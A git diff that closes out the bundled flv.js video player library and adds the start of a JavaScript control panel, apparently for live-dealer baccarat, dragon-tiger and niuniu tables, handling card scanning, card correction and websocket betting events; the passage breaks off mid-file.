_sample2.length, + isKeyframe: isKeyframe, + duration: sampleDuration, + originalDts: originalDts, + flags: { + isLeading: 0, + dependsOn: isKeyframe ? 2 : 1, + isDependedOn: isKeyframe ? 1 : 0, + hasRedundancy: 0, + isNonSync: isKeyframe ? 0 : 1 + } + }); + } + + // allocate mdatbox + mdatbox = new Uint8Array(mdatBytes); + mdatbox[0] = mdatBytes >>> 24 & 0xFF; + mdatbox[1] = mdatBytes >>> 16 & 0xFF; + mdatbox[2] = mdatBytes >>> 8 & 0xFF; + mdatbox[3] = mdatBytes & 0xFF; + mdatbox.set(_mp4Generator2.default.types.mdat, 4); + + // Write samples into mdatbox + for (var _i2 = 0; _i2 < mp4Samples.length; _i2++) { + var units = mp4Samples[_i2].units; + while (units.length) { + var unit = units.shift(); + var data = unit.data; + mdatbox.set(data, offset); + offset += data.byteLength; + } + } + + var latest = mp4Samples[mp4Samples.length - 1]; + lastDts = latest.dts + latest.duration; + lastPts = latest.pts + latest.duration; + this._videoNextDts = lastDts; + + // fill media segment info & add to info list + info.beginDts = firstDts; + info.endDts = lastDts; + info.beginPts = firstPts; + info.endPts = lastPts; + info.originalBeginDts = mp4Samples[0].originalDts; + info.originalEndDts = latest.originalDts + latest.duration; + info.firstSample = new _mediaSegmentInfo.SampleInfo(mp4Samples[0].dts, mp4Samples[0].pts, mp4Samples[0].duration, mp4Samples[0].originalDts, mp4Samples[0].isKeyframe); + info.lastSample = new _mediaSegmentInfo.SampleInfo(latest.dts, latest.pts, latest.duration, latest.originalDts, latest.isKeyframe); + if (!this._isLive) { + this._videoSegmentInfoList.append(info); + } + + track.samples = mp4Samples; + track.sequenceNumber++; + + // workaround for chrome < 50: force first sample as a random access point + // see https://bugs.chromium.org/p/chromium/issues/detail?id=229412 + if (this._forceFirstIDR) { + var flags = mp4Samples[0].flags; + flags.dependsOn = 2; + flags.isNonSync = 0; + } + + var moofbox = _mp4Generator2.default.moof(track, firstDts); + track.samples = []; + track.length = 0; + + this._onMediaSegment('video', { + type: 'video', + data: this._mergeBoxes(moofbox, mdatbox).buffer, + sampleCount: mp4Samples.length, + info: info + }); + } + }, { + key: '_mergeBoxes', + value: function _mergeBoxes(moof, mdat) { + var result = new Uint8Array(moof.byteLength + mdat.byteLength); + result.set(moof, 0); + result.set(mdat, moof.byteLength); + return result; + } + }, { + key: 'onInitSegment', + get: function get() { + return this._onInitSegment; + }, + set: function set(callback) { + this._onInitSegment = callback; + } + + /* prototype: function onMediaSegment(type: string, mediaSegment: MediaSegment): void + MediaSegment: { + type: string, + data: ArrayBuffer, + sampleCount: int32 + info: MediaSegmentInfo + } + */ + + }, { + key: 'onMediaSegment', + get: function get() { + return this._onMediaSegment; + }, + set: function set(callback) { + this._onMediaSegment = callback; + } + }]); + + return MP4Remuxer; + }(); + + exports.default = MP4Remuxer; + +},{"../core/media-segment-info.js":8,"../utils/browser.js":39,"../utils/exception.js":40,"../utils/logger.js":41,"./aac-silent.js":36,"./mp4-generator.js":37}],39:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var Browser = {}; + + function detect() { + // modified from jquery-browser-plugin + + var ua = self.navigator.userAgent.toLowerCase(); + + var match = /(edge)\/([\w.]+)/.exec(ua) || /(opr)[\/]([\w.]+)/.exec(ua) || /(chrome)[ \/]([\w.]+)/.exec(ua) || /(iemobile)[\/]([\w.]+)/.exec(ua) || /(version)(applewebkit)[ \/]([\w.]+).*(safari)[ \/]([\w.]+)/.exec(ua) || /(webkit)[ \/]([\w.]+).*(version)[ \/]([\w.]+).*(safari)[ \/]([\w.]+)/.exec(ua) || /(webkit)[ \/]([\w.]+)/.exec(ua) || /(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua) || /(msie) ([\w.]+)/.exec(ua) || ua.indexOf('trident') >= 0 && /(rv)(?::| )([\w.]+)/.exec(ua) || ua.indexOf('compatible') < 0 && /(firefox)[ \/]([\w.]+)/.exec(ua) || []; + + var platform_match = /(ipad)/.exec(ua) || /(ipod)/.exec(ua) || /(windows phone)/.exec(ua) || /(iphone)/.exec(ua) || /(kindle)/.exec(ua) || /(android)/.exec(ua) || /(windows)/.exec(ua) || /(mac)/.exec(ua) || /(linux)/.exec(ua) || /(cros)/.exec(ua) || []; + + var matched = { + browser: match[5] || match[3] || match[1] || '', + version: match[2] || match[4] || '0', + majorVersion: match[4] || match[2] || '0', + platform: platform_match[0] || '' + }; + + var browser = {}; + if (matched.browser) { + browser[matched.browser] = true; + + var versionArray = matched.majorVersion.split('.'); + browser.version = { + major: parseInt(matched.majorVersion, 10), + string: matched.version + }; + if (versionArray.length > 1) { + browser.version.minor = parseInt(versionArray[1], 10); + } + if (versionArray.length > 2) { + browser.version.build = parseInt(versionArray[2], 10); + } + } + + if (matched.platform) { + browser[matched.platform] = true; + } + + if (browser.chrome || browser.opr || browser.safari) { + browser.webkit = true; + } + + // MSIE. IE11 has 'rv' identifer + if (browser.rv || browser.iemobile) { + if (browser.rv) { + delete browser.rv; + } + var msie = 'msie'; + matched.browser = msie; + browser[msie] = true; + } + + // Microsoft Edge + if (browser.edge) { + delete browser.edge; + var msedge = 'msedge'; + matched.browser = msedge; + browser[msedge] = true; + } + + // Opera 15+ + if (browser.opr) { + var opera = 'opera'; + matched.browser = opera; + browser[opera] = true; + } + + // Stock android browsers are marked as Safari + if (browser.safari && browser.android) { + var android = 'android'; + matched.browser = android; + browser[android] = true; + } + + browser.name = matched.browser; + browser.platform = matched.platform; + + for (var key in Browser) { + if (Browser.hasOwnProperty(key)) { + delete Browser[key]; + } + } + Object.assign(Browser, browser); + } + + detect(); + + exports.default = Browser; + +},{}],40:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var RuntimeException = exports.RuntimeException = function () { + function RuntimeException(message) { + _classCallCheck(this, RuntimeException); + + this._message = message; + } + + _createClass(RuntimeException, [{ + key: 'toString', + value: function toString() { + return this.name + ': ' + this.message; + } + }, { + key: 'name', + get: function get() { + return 'RuntimeException'; + } + }, { + key: 'message', + get: function get() { + return this._message; + } + }]); + + return RuntimeException; + }(); + + var IllegalStateException = exports.IllegalStateException = function (_RuntimeException) { + _inherits(IllegalStateException, _RuntimeException); + + function IllegalStateException(message) { + _classCallCheck(this, IllegalStateException); + + return _possibleConstructorReturn(this, (IllegalStateException.__proto__ || Object.getPrototypeOf(IllegalStateException)).call(this, message)); + } + + _createClass(IllegalStateException, [{ + key: 'name', + get: function get() { + return 'IllegalStateException'; + } + }]); + + return IllegalStateException; + }(RuntimeException); + + var InvalidArgumentException = exports.InvalidArgumentException = function (_RuntimeException2) { + _inherits(InvalidArgumentException, _RuntimeException2); + + function InvalidArgumentException(message) { + _classCallCheck(this, InvalidArgumentException); + + return _possibleConstructorReturn(this, (InvalidArgumentException.__proto__ || Object.getPrototypeOf(InvalidArgumentException)).call(this, message)); + } + + _createClass(InvalidArgumentException, [{ + key: 'name', + get: function get() { + return 'InvalidArgumentException'; + } + }]); + + return InvalidArgumentException; + }(RuntimeException); + + var NotImplementedException = exports.NotImplementedException = function (_RuntimeException3) { + _inherits(NotImplementedException, _RuntimeException3); + + function NotImplementedException(message) { + _classCallCheck(this, NotImplementedException); + + return _possibleConstructorReturn(this, (NotImplementedException.__proto__ || Object.getPrototypeOf(NotImplementedException)).call(this, message)); + } + + _createClass(NotImplementedException, [{ + key: 'name', + get: function get() { + return 'NotImplementedException'; + } + }]); + + return NotImplementedException; + }(RuntimeException); + +},{}],41:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _events = _dereq_('events'); + + var _events2 = _interopRequireDefault(_events); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + var Log = function () { + function Log() { + _classCallCheck(this, Log); + } + + _createClass(Log, null, [{ + key: 'e', + value: function e(tag, msg) { + if (!tag || Log.FORCE_GLOBAL_TAG) tag = Log.GLOBAL_TAG; + + var str = '[' + tag + '] > ' + msg; + + if (Log.ENABLE_CALLBACK) { + Log.emitter.emit('log', 'error', str); + } + + if (!Log.ENABLE_ERROR) { + return; + } + + if (console.error) { + console.error(str); + } else if (console.warn) { + console.warn(str); + } else { + console.log(str); + } + } + }, { + key: 'i', + value: function i(tag, msg) { + if (!tag || Log.FORCE_GLOBAL_TAG) tag = Log.GLOBAL_TAG; + + var str = '[' + tag + '] > ' + msg; + + if (Log.ENABLE_CALLBACK) { + Log.emitter.emit('log', 'info', str); + } + + if (!Log.ENABLE_INFO) { + return; + } + + if (console.info) { + console.info(str); + } else { + console.log(str); + } + } + }, { + key: 'w', + value: function w(tag, msg) { + if (!tag || Log.FORCE_GLOBAL_TAG) tag = Log.GLOBAL_TAG; + + var str = '[' + tag + '] > ' + msg; + + if (Log.ENABLE_CALLBACK) { + Log.emitter.emit('log', 'warn', str); + } + + if (!Log.ENABLE_WARN) { + return; + } + + if (console.warn) { + console.warn(str); + } else { + console.log(str); + } + } + }, { + key: 'd', + value: function d(tag, msg) { + if (!tag || Log.FORCE_GLOBAL_TAG) tag = Log.GLOBAL_TAG; + + var str = '[' + tag + '] > ' + msg; + + if (Log.ENABLE_CALLBACK) { + Log.emitter.emit('log', 'debug', str); + } + + if (!Log.ENABLE_DEBUG) { + return; + } + + if (console.debug) { + console.debug(str); + } else { + console.log(str); + } + } + }, { + key: 'v', + value: function v(tag, msg) { + if (!tag || Log.FORCE_GLOBAL_TAG) tag = Log.GLOBAL_TAG; + + var str = '[' + tag + '] > ' + msg; + + if (Log.ENABLE_CALLBACK) { + Log.emitter.emit('log', 'verbose', str); + } + + if (!Log.ENABLE_VERBOSE) { + return; + } + + console.log(str); + } + }]); + + return Log; + }(); + + Log.GLOBAL_TAG = 'flv.js'; + Log.FORCE_GLOBAL_TAG = false; + Log.ENABLE_ERROR = true; + Log.ENABLE_INFO = true; + Log.ENABLE_WARN = true; + Log.ENABLE_DEBUG = true; + Log.ENABLE_VERBOSE = true; + + Log.ENABLE_CALLBACK = false; + + Log.emitter = new _events2.default(); + + exports.default = Log; + +},{"events":2}],42:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _events = _dereq_('events'); + + var _events2 = _interopRequireDefault(_events); + + var _logger = _dereq_('./logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + var LoggingControl = function () { + function LoggingControl() { + _classCallCheck(this, LoggingControl); + } + + _createClass(LoggingControl, null, [{ + key: 'getConfig', + value: function getConfig() { + return { + globalTag: _logger2.default.GLOBAL_TAG, + forceGlobalTag: _logger2.default.FORCE_GLOBAL_TAG, + enableVerbose: _logger2.default.ENABLE_VERBOSE, + enableDebug: _logger2.default.ENABLE_DEBUG, + enableInfo: _logger2.default.ENABLE_INFO, + enableWarn: _logger2.default.ENABLE_WARN, + enableError: _logger2.default.ENABLE_ERROR, + enableCallback: _logger2.default.ENABLE_CALLBACK + }; + } + }, { + key: 'applyConfig', + value: function applyConfig(config) { + _logger2.default.GLOBAL_TAG = config.globalTag; + _logger2.default.FORCE_GLOBAL_TAG = config.forceGlobalTag; + _logger2.default.ENABLE_VERBOSE = config.enableVerbose; + _logger2.default.ENABLE_DEBUG = config.enableDebug; + _logger2.default.ENABLE_INFO = config.enableInfo; + _logger2.default.ENABLE_WARN = config.enableWarn; + _logger2.default.ENABLE_ERROR = config.enableError; + _logger2.default.ENABLE_CALLBACK = config.enableCallback; + } + }, { + key: '_notifyChange', + value: function _notifyChange() { + var emitter = LoggingControl.emitter; + + if (emitter.listenerCount('change') > 0) { + var config = LoggingControl.getConfig(); + emitter.emit('change', config); + } + } + }, { + key: 'registerListener', + value: function registerListener(listener) { + LoggingControl.emitter.addListener('change', listener); + } + }, { + key: 'removeListener', + value: function removeListener(listener) { + LoggingControl.emitter.removeListener('change', listener); + } + }, { + key: 'addLogListener', + value: function addLogListener(listener) { + _logger2.default.emitter.addListener('log', listener); + if (_logger2.default.emitter.listenerCount('log') > 0) { + _logger2.default.ENABLE_CALLBACK = true; + LoggingControl._notifyChange(); + } + } + }, { + key: 'removeLogListener', + value: function removeLogListener(listener) { + _logger2.default.emitter.removeListener('log', listener); + if (_logger2.default.emitter.listenerCount('log') === 0) { + _logger2.default.ENABLE_CALLBACK = false; + LoggingControl._notifyChange(); + } + } + }, { + key: 'forceGlobalTag', + get: function get() { + return _logger2.default.FORCE_GLOBAL_TAG; + }, + set: function set(enable) { + _logger2.default.FORCE_GLOBAL_TAG = enable; + LoggingControl._notifyChange(); + } + }, { + key: 'globalTag', + get: function get() { + return _logger2.default.GLOBAL_TAG; + }, + set: function set(tag) { + _logger2.default.GLOBAL_TAG = tag; + LoggingControl._notifyChange(); + } + }, { + key: 'enableAll', + get: function get() { + return _logger2.default.ENABLE_VERBOSE && _logger2.default.ENABLE_DEBUG && _logger2.default.ENABLE_INFO && _logger2.default.ENABLE_WARN && _logger2.default.ENABLE_ERROR; + }, + set: function set(enable) { + _logger2.default.ENABLE_VERBOSE = enable; + _logger2.default.ENABLE_DEBUG = enable; + _logger2.default.ENABLE_INFO = enable; + _logger2.default.ENABLE_WARN = enable; + _logger2.default.ENABLE_ERROR = enable; + LoggingControl._notifyChange(); + } + }, { + key: 'enableDebug', + get: function get() { + return _logger2.default.ENABLE_DEBUG; + }, + set: function set(enable) { + _logger2.default.ENABLE_DEBUG = enable; + LoggingControl._notifyChange(); + } + }, { + key: 'enableVerbose', + get: function get() { + return _logger2.default.ENABLE_VERBOSE; + }, + set: function set(enable) { + _logger2.default.ENABLE_VERBOSE = enable; + LoggingControl._notifyChange(); + } + }, { + key: 'enableInfo', + get: function get() { + return _logger2.default.ENABLE_INFO; + }, + set: function set(enable) { + _logger2.default.ENABLE_INFO = enable; + LoggingControl._notifyChange(); + } + }, { + key: 'enableWarn', + get: function get() { + return _logger2.default.ENABLE_WARN; + }, + set: function set(enable) { + _logger2.default.ENABLE_WARN = enable; + LoggingControl._notifyChange(); + } + }, { + key: 'enableError', + get: function get() { + return _logger2.default.ENABLE_ERROR; + }, + set: function set(enable) { + _logger2.default.ENABLE_ERROR = enable; + LoggingControl._notifyChange(); + } + }]); + + return LoggingControl; + }(); + + LoggingControl.emitter = new _events2.default(); + + exports.default = LoggingControl; + +},{"./logger.js":41,"events":2}],43:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var Polyfill = function () { + function Polyfill() { + _classCallCheck(this, Polyfill); + } + + _createClass(Polyfill, null, [{ + key: 'install', + value: function install() { + // ES6 Object.setPrototypeOf + Object.setPrototypeOf = Object.setPrototypeOf || function (obj, proto) { + obj.__proto__ = proto; + return obj; + }; + + // ES6 Object.assign + Object.assign = Object.assign || function (target) { + if (target === undefined || target === null) { + throw new TypeError('Cannot convert undefined or null to object'); + } + + var output = Object(target); + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i]; + if (source !== undefined && source !== null) { + for (var key in source) { + if (source.hasOwnProperty(key)) { + output[key] = source[key]; + } + } + } + } + return output; + }; + + // ES6 Promise (missing support in IE11) + if (typeof self.Promise !== 'function') { + _dereq_('es6-promise').polyfill(); + } + } + }]); + + return Polyfill; + }(); + + Polyfill.install(); + + exports.default = Polyfill; + +},{"es6-promise":1}],44:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * This file is derived from C++ project libWinTF8 (https://github.com/m13253/libWinTF8) + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + function checkContinuation(uint8array, start, checkLength) { + var array = uint8array; + if (start + checkLength < array.length) { + while (checkLength--) { + if ((array[++start] & 0xC0) !== 0x80) return false; + } + return true; + } else { + return false; + } + } + + function decodeUTF8(uint8array) { + var out = []; + var input = uint8array; + var i = 0; + var length = uint8array.length; + + while (i < length) { + if (input[i] < 0x80) { + out.push(String.fromCharCode(input[i])); + ++i; + continue; + } else if (input[i] < 0xC0) { + // fallthrough + } else if (input[i] < 0xE0) { + if (checkContinuation(input, i, 1)) { + var ucs4 = (input[i] & 0x1F) << 6 | input[i + 1] & 0x3F; + if (ucs4 >= 0x80) { + out.push(String.fromCharCode(ucs4 & 0xFFFF)); + i += 2; + continue; + } + } + } else if (input[i] < 0xF0) { + if (checkContinuation(input, i, 2)) { + var _ucs = (input[i] & 0xF) << 12 | (input[i + 1] & 0x3F) << 6 | input[i + 2] & 0x3F; + if (_ucs >= 0x800 && (_ucs & 0xF800) !== 0xD800) { + out.push(String.fromCharCode(_ucs & 0xFFFF)); + i += 3; + continue; + } + } + } else if (input[i] < 0xF8) { + if (checkContinuation(input, i, 3)) { + var _ucs2 = (input[i] & 0x7) << 18 | (input[i + 1] & 0x3F) << 12 | (input[i + 2] & 0x3F) << 6 | input[i + 3] & 0x3F; + if (_ucs2 > 0x10000 && _ucs2 < 0x110000) { + _ucs2 -= 0x10000; + out.push(String.fromCharCode(_ucs2 >>> 10 | 0xD800)); + out.push(String.fromCharCode(_ucs2 & 0x3FF | 0xDC00)); + i += 4; + continue; + } + } + } + out.push(String.fromCharCode(0xFFFD)); + ++i; + } + + return out.join(''); + } + + exports.default = decodeUTF8; + +},{}]},{},[21])(21) +}); + +//# sourceMappingURL=flv.js.map \ No newline at end of file diff --git a/public/static/handle/js/handle.js b/public/static/handle/js/handle.js new file mode 100644 index 0000000..5bc3521 --- /dev/null +++ b/public/static/handle/js/handle.js @@ -0,0 +1,2633 @@ +var userid = parseInt($('#userid').val()); +var login_token = $('#login_token').val(); +var table_id = parseInt($('#table_id').val()); +var game_id = parseInt($('#game_id').val()); +var account = $('#account').val(); +var number_tab_id; +var ludan; +var isCBoot = false; +var isopentime = false; +var num = 0; +var card_info=[]; +var isWin={ + win_player_1:null, + win_player_2:null, + win_player_3:null, + text:[] +}; + +// 识别相关 +var position = ['11', '12', '21', '22', '13', '23']; +var stopScan = false; +var scanTask = null; +var scanPosition = 1; +if (game_id == 4) { + scanPosition = 21; // 定位牌 +} + +// NN识别相关 +var scanDefaultPosition = 'P1'; // 默认定位区 +var positionScanTask = null; +var isPositionScaned = false; +var positionCard = 0; +var isCardScaned = false; +var currentPositionToChange = -1; + + +var initScanParams = function() { + clearInterval(scanTask); + scanTask = null; + stopScan = false; + scanPosition = 1; + if (game_id == 4) { + scanPosition = 21; + } + scanDefaultPosition = 'P1'; + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + positionCard = 0; + isCardScaned = false; + currentPositionToChange = -1; + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); +} +// NN修改牌 +var openAllCardsPanel = function(dom) { + var positionOfCard = parseInt($(dom).attr('data-position')); + + if (positionOfCard > 0) { + if (isCardScaned) { + currentPositionToChange = positionOfCard; + $('#change_cards').show(); + } + } else { + if (!isCardScaned) { + currentPositionToChange = positionOfCard; + $('#change_cards').show(); + } + } +} +var changeErrSbCard = function() { + var poker = $("input[name='cardToChanged']:checked").val(); + var positionNum = 0; + + layer.confirm(lang.confirm_to_change_card,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + if (currentPositionToChange == -1) { + layer.msg('出错。请刷新重试。'); + $('#change_cards').hide(); + return false; + } + // 更换定位牌 + // 其它位置如果已派牌,则无法更改 + if (currentPositionToChange == 0) { + if (isCardScaned) { + layer.msg('其它位置已派牌,无法更改定位牌。'); + $('#change_cards').hide(); + return false; + } + positionCard = parseInt(poker); + scanPosition = (positionCard % 100) % 4; + switch (scanPosition) { + case 2: + scanPosition = 6; + scanDefaultPosition = 'P2'; + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 3: + scanPosition = 11; + scanDefaultPosition = 'P3'; + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 0: + scanPosition = 16; + scanDefaultPosition = 'B'; + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + default: + scanPosition = 1; + scanDefaultPosition = 'P1'; + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + } + } else { + var _position = (positionCard % 100) % 4; + currentPositionToChange = parseInt(currentPositionToChange); + switch (_position) { + case 0: + positionNum = currentPositionToChange; + break; + case 1: + if (currentPositionToChange <= 5) { + positionNum = currentPositionToChange + 15; + } else { + positionNum = currentPositionToChange - 5; + } + break; + case 2: + if (currentPositionToChange <= 10) { + positionNum = currentPositionToChange + 10; + } else { + positionNum = currentPositionToChange - 10; + } + break; + case 3: + if (currentPositionToChange <= 15) { + positionNum = currentPositionToChange + 5; + } else { + positionNum = currentPositionToChange - 15; + } + break; + } + console.log('_position:' + _position); + console.log('positionNum:' + positionNum); + } + + var query = new Object(); + query.connect = "scan"; + query.mode = "sendScanChangeResult"; + query.table_id = $('#table_id').val(); + query.card = poker; + query.position_num = positionNum; + query.number_tab_id = parseInt(number_tab_id); + query = JSON.stringify(query); + webSocket.send(query); + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); + layer.close(index); + }); +} +var cancelChangeErrSbCard = function() { + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); +} +// + +var websocket = io(websocketProtocol+"://"+websocketUrl+"/?table_id="+table_id+"&account="+account+"&connect=space&userid="+userid+"&login_token="+login_token,{transports: ['websocket']}); +websocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); +websocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); +//事件 发送******************************************************************************************************************* +var startBet = function(){ + websocket.emit('startBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endBet = function (){ + websocket.emit('endBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var startRob = function(){ + websocket.emit('startRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endRob = function(){ + websocket.emit('endRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var resetNumberTab = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 1 || betStatus == 2){ + layer.confirm(lang.is_reset_number,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetNumberTab',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.reset_number_fail); + } +}; +var changeBoot = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 0 || betStatus == 3){ + layer.confirm(lang.is_to_boot,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('changeBoot',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.change_boot_false); + } +}; +var resetBoot = function(){ + layer.confirm(lang.is_to_balance,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetBoot',{table_id : table_id}); + layer.close(index); + }); +}; +var opening = function(){ + $('.control-box .btn-box2 span').removeClass('on'); + if(game_id == 1){ + websocket.emit('openingBaccarat',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 2){ + websocket.emit('openingDt',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 4){ + websocket.emit('openingNn',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 5){ + websocket.emit('openingTc',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 6){ + let result = parseInt($('#toning_result').val()); + if (result == 0 || result == 1 || result == 2 || result == 3 || result == 4){ + websocket.emit('openingToning',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } + }else if(game_id == 7){ + let result = $('#dice_result').val(); + websocket.emit('openingDice',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } +}; + +// 百家乐发送数据 +var sendScanBaccarat = function(data) { + websocket.emit('sendScanBaccarat', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 龙虎发送数据 +var sendScanDt = function(data) { + websocket.emit('sendScanDt', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 